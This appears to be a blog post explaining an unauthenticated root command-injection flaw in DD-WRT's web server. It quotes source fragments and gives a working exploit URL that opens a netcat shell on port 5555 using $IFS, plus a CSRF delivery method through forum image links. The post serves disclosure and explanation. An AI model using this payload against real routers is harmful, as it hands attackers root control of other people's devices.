Today I found a video demonstration of this vulnerability on Youtube. DD-WRT is free Linux-based firmware for several wireless routers, most notably the Linksys WRT54G (including the WRT54GL and WRT54GS). It works on the latest release of DD-WRT (v24 sp1). Thanks Leka vecher, who discovered this, I guess.
It looks pretty cool. Let’s watch it first. And then I’d like to share with you guys a bit about this vulnerability.
This bug is located in the httpd.c file, around line 859.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | //around line 859 if (containsstring(file, "cgi-bin")) { auth_fail = 0; if (!do_auth (conn_fp, auth_userid, auth_passwd, auth_realm, authorization, auth_check)) auth_fail = 1; //......... (snip)............ //around line 900 } exec = fopen("/tmp/exec.tmp", "wb"); fprintf(exec, "export REQUEST_METHOD=\"%s\"\n", method); if (query) fprintf(exec, "/bin/sh %s/%s/tmp/shellout.asp"); //........... (snip).......... //around line 926 if (auth_fail == 1) { send_authenticate(auth_realm); auth_fail = 0; |
Three issues here:
- No metacharacters handling
- Command gets executed even without successful authentication. You are not going to see any output if not authenticated though.
- httpd runs as root
To sum up, Any unauthenticated attacker that can connect to the management web interface can get easily root on the device via his browser with an URL like:
http://routerIP/cgi-bin/;command_to_execute(whitespaces break it)
Anyway, they can be easily replaced with shell variable like $IFS. So as the attack video demo showed, getting root shell at 5555/tcp becomes as easy as typing this in your browser’s url bar:
http://routerIP/cgi-bin/;nc$IFS-l$IFS-p$IFS\5555$IFS-e$IFS/bin/sh
Fortunately, httpd is not accessible via public network by default. But as Leka mentioned
this vulnerability can be exploited via a CSRF attack (the dd-wrt device’s owner does not even need to have an authenticated session on the web UI which is bad, bad). However, a base authentication dialog will appear. In IE even this can be supressed, see this one:
http://ha.ckers.org/blog/20090630/csrf-and-ignoring-basicdigest-auth/
Unlike the already documented CSRF vulnerability ( http://www.securityfocus.com/bid/32703 ) this DOES NOT need an authenticated session. This means someone can even post some crafted [img] link on a forum and a dd-wrt router owner visiting the forum will get owned
Alright, that’s it. Be good do right! 
